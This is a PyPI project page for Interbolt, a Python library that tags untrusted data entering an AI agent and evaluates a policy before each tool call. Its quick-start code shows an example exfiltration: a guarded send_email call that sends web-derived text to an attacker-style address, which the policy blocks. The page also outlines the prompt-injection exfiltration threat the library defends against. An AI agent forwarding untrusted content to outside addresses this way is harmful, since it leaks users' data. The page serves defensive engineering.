Skip to main content

Interbolt

Provenance-gated tool calls for AI agents.

PyPI version Python versions License: Apache 2.0 CI

Status: pre-1.0. The public API can change in any 0.x minor release. Pin an exact version if you depend on it. Breaking changes bump the minor (0.2.0); additive changes and fixes bump the patch (0.2.1). The emitted record schema is versioned separately via EVENT_SCHEMA_VERSION and has its own history. See stability for what has to be true before 1.0.

Mark untrusted data where it enters an agent. Interbolt propagates that mark through your code and evaluates a YAML+CEL policy at each guarded tool call, returning allow, block, or require-approval based on the provenance of the call's arguments rather than on their content. Decisions are deterministic and in-process, with no model and no network call involved. The benchmark publishes check() overhead and the machine it was measured on.

When code has actually validated untrusted data, endorse() lets it say so without erasing the taint: provenance-preserving, policy-visible, and never model-triggered. See auditing.

See how it performs on the AgentDojo Benchmark.

Install

pip install interbolt

Requires Python 3.12 or newer. The [otel] extra adds OTelReporter.

Quick start

import asyncio

from interbolt import Policy, PolicyViolation, Tainted, configure, guard, taint

runtime = configure(policy=Policy.from_file("policy.yaml"))

@guard
def send_email(to: str, body: str) -> None:
    ...

# taint() on a str returns a Tainted, which is a str subclass, so it is
# accepted anywhere a str is expected with no change to send_email's signature.
summary: Tainted = taint(web_search("..."), source="web_search")

async def main() -> None:
    # agent_context binds the acting agent's identity for guarded calls
    # made inside the block.
    async with runtime.agent_context("support-agent"):
        try:
            send_email(to="attacker@external.com", body=summary)
        except PolicyViolation as e:
            print(e.decision.matched_rule)   # "block_untrusted_exfil"

asyncio.run(main())

Generate a starter policy with interbolt init, then check it in CI with interbolt validate policy.yaml. Calling configure() without a policy uses a built-in default-deny posture (no sources, no sinks, every call requires approval) and logs a warning pointing to interbolt init.

Getting the decision

check() and guard always compute a Decision. On allow it is the return value of check(); on block and require_approval it is attached to the raised exception:

from interbolt import ApprovalDenied, PolicyEvaluationError, PolicyViolation

try:
    send_email(to="attacker@external.com", body=summary)
except (PolicyViolation, ApprovalDenied, PolicyEvaluationError) as e:
    decision = e.decision              # every decision-outcome error carries one
    decision.action                    # Action.BLOCK
    decision.matched_rule              # rule name, or None for the sink default
    decision.matched_condition         # the rule's CEL text, or None
    decision.untrusted_sources         # frozenset({"web_search"})

describe_decision(decision) returns a ready-made one-line summary as a rich-markup string, meant to be printed through a rich.console.Console. Calling check() directly rather than through @guard returns the Decision for every outcome including allow, so you can log it unconditionally instead of only on the exception path. Full reference: API.

Propagation

Provenance is a set of source names attached to a value. Trust is resolved at the sink by looking each source up in your policy, so one file governs both ingress trust and egress gating.

The label survives direct passing of a value to a tool argument and operator-style combination (+, %, slicing, and string methods called on a tainted value). Common string assembly produces a fresh, unlabeled string: f-strings with surrounding literal text, str.format on a plain template, and " ".join(...) on a plain separator. Re-taint the result in those cases. The same applies across a model-mediated agent-to-agent handoff, where one agent's generated output reaches the next as plain text.

This is an inherent limit of an in-process string-subclass carrier, and the propagation contract states every case exactly. Run the audit to find a transformation that should have been re-tainted.

Provenance also does not survive an ordinary serialization or storage round trip. A checkpoint write, a queue hop, or a process boundary makes re-entering data fresh untrusted ingress. The one explicit exception is pack/unpack, which carries labels and run-scoped provenance across that boundary in a versioned, optionally MAC-authenticated envelope. See serialization.

The model as a new source

A call into an LLM is exactly this kind of boundary: whatever the model emits carries no label, even when its prompt was tainted. taint(..., derived_from=...) marks a value as derived from other values, so trust is inherited rather than assumed, and track_model_call applies that to a function's return value automatically:

from interbolt import taint, track_model_call

@track_model_call(source="model")
def summarize(web_result: str, internal_result: str) -> str:
    return llm_client.complete(f"Summarize: {web_result}\n{internal_result}")

summary = summarize(
    taint(web_search("..."), source="web_search"),      # untrusted
    taint(read_kb("..."), source="internal_kb"),        # trusted
)
summary.label.source    # "model" - the derivation hop, for tracing
summary.label.lineage   # ("web_search", "internal_kb") - the upstream sources

Passing summary to a guarded sink resolves trust from lineage exactly as if the original inputs had reached that sink directly, so untrusted here. The model's own text is never inspected or paraphrase-detected.

Modes and the audit

configure(mode=...) sets enforcement behavior:

  • enforce (default): fails closed. An evaluation error is treated as a block.
  • monitor: fails open on evaluation error and logs it. Real blocks still block. An adoption on-ramp.
  • dry_run: computes and emits every decision but blocks nothing.

configure(audit=True) turns on the laundering audit, an opt-in in-process instrument orthogonal to the mode. It watches a real run and reports where untrusted content reached a sink without a label, which is how you catch a forgotten re-taint. It catches mechanical laundering and cannot catch a model paraphrasing the text first. Findings come out through the reporter, so you can assert on them in a test with InMemoryReporter. Running it takes that run outside the per-call latency budget.

Reporting

Reporter is the seam for decision output. NullReporter (default), InMemoryReporter, LoggingReporter, JsonlReporter, and CompositeReporter ship out of the box, and describe_decision/describe_event/describe_finding/ describe_endorsement format a record for a human. pip install "interbolt[otel]" adds OTelReporter, which drops decisions into your existing OpenTelemetry traces. Reporter emission is fire-and-forget: a reporter that blocks in export delays the decision that triggered it. See reporters.

Command line

interbolt init [path]              # write a starter policy; refuses to overwrite
interbolt validate policy.yaml     # schema and CEL checks only, safe for CI
interbolt explain policy.yaml --agent support-agent
interbolt inspect provenance.jsonl # render a JsonlReporter log as a tree

explain answers "what can this agent actually do" by resolving each sink's rules against one agent, group, or tool, including which rules are unreachable. See explain.

MCP

An interbolt[mcp] extra is planned to adapt an MCP client session directly. Until it ships, gate an MCP router by calling check() before each tool dispatch and taint()-ing tool results as they come back, which MCP shows in full.

Design lineage

The architecture assembles proven patterns rather than inventing new mechanisms: the pure check() entrypoint follows Casbin's enforce(), the inert-by-default reporter surface follows OpenTelemetry, the str/bytes carrier follows Django's SafeString and MarkupSafe, and endorse() follows Resin (Yip et al., SOSP 2009). The full comparison, including where Interbolt diverges from each, is in design lineage.

Stability

Interbolt is pre-1.0 and the API is still moving. What that means concretely:

  • Any 0.x minor may rename, change, or remove public API. Migration notes for each one are in CHANGELOG.md.
  • EVENT_SCHEMA_VERSION versions the emitted Event/Finding/Endorsement shape independently of the library version. Anything parsing a JsonlReporter log should read it and fail loudly on an unrecognized value.
  • Before 1.0 the following need to hold: the public surface stable across two consecutive minors, the record schema stable, the MCP integration shipped, and a deprecation policy in force (one minor of warning before removal).

Documentation

The full documentation is at docs.deconvolutelabs.com, covering the threat model, policies, identity, testing, and the API reference. Read the threat model before adopting it: Interbolt is not a prompt-injection classifier, a content filter, or a sandbox, and that page lists exactly what it does and does not cover.

Contributors should start with ARCHITECTURE.md. To report a vulnerability, see SECURITY.md.

License

Apache-2.0. Built by Deconvolute Labs.

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

interbolt-0.3.0.tar.gz (211.5 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

interbolt-0.3.0-py3-none-any.whl (110.2 kB view details)

Uploaded Python 3

File details

Details for the file interbolt-0.3.0.tar.gz.

File metadata

  • Download URL: interbolt-0.3.0.tar.gz
  • Upload date:
  • Size: 211.5 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for interbolt-0.3.0.tar.gz
Algorithm Hash digest
SHA256 3fa4731df73a6ca5af9e3d55c2beb054f70375d2f118e5ed61317c8ce18b3a2a
MD5 29d7c6a5f301f5ea0e5ccff06a1d7dd2
BLAKE2b-256 cd4cd22e152b847a2a5ab35e0d610c7606913aa9487aa978870c358bd2cd2a7f

See more details on using hashes here.

Provenance

The following attestation bundles were made for interbolt-0.3.0.tar.gz:

Publisher: release.yml on deconvolute-labs/interbolt

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

File details

Details for the file interbolt-0.3.0-py3-none-any.whl.

File metadata

  • Download URL: interbolt-0.3.0-py3-none-any.whl
  • Upload date:
  • Size: 110.2 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/7.0.0 CPython/3.13.14

File hashes

Hashes for interbolt-0.3.0-py3-none-any.whl
Algorithm Hash digest
SHA256 0c7215e484f04a09693822f39374f25dc98001804a04e97916a28a705ee934a3
MD5 df1c5852ae0fbefc3732d6cbe5b3665a
BLAKE2b-256 bd4549cc60ef407409c8c14fe3306c5092b55c35d869714849b0ad536cff08a3

See more details on using hashes here.

Provenance

The following attestation bundles were made for interbolt-0.3.0-py3-none-any.whl:

Publisher: release.yml on deconvolute-labs/interbolt

Attestations: Values shown here reflect the state when the release was signed and may no longer be current.

Release history Release notifications | RSS feed

This release

0.3.0 This release

2 files

0.2.0

2 files

0.1.1

2 files

0.1.0

2 files

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page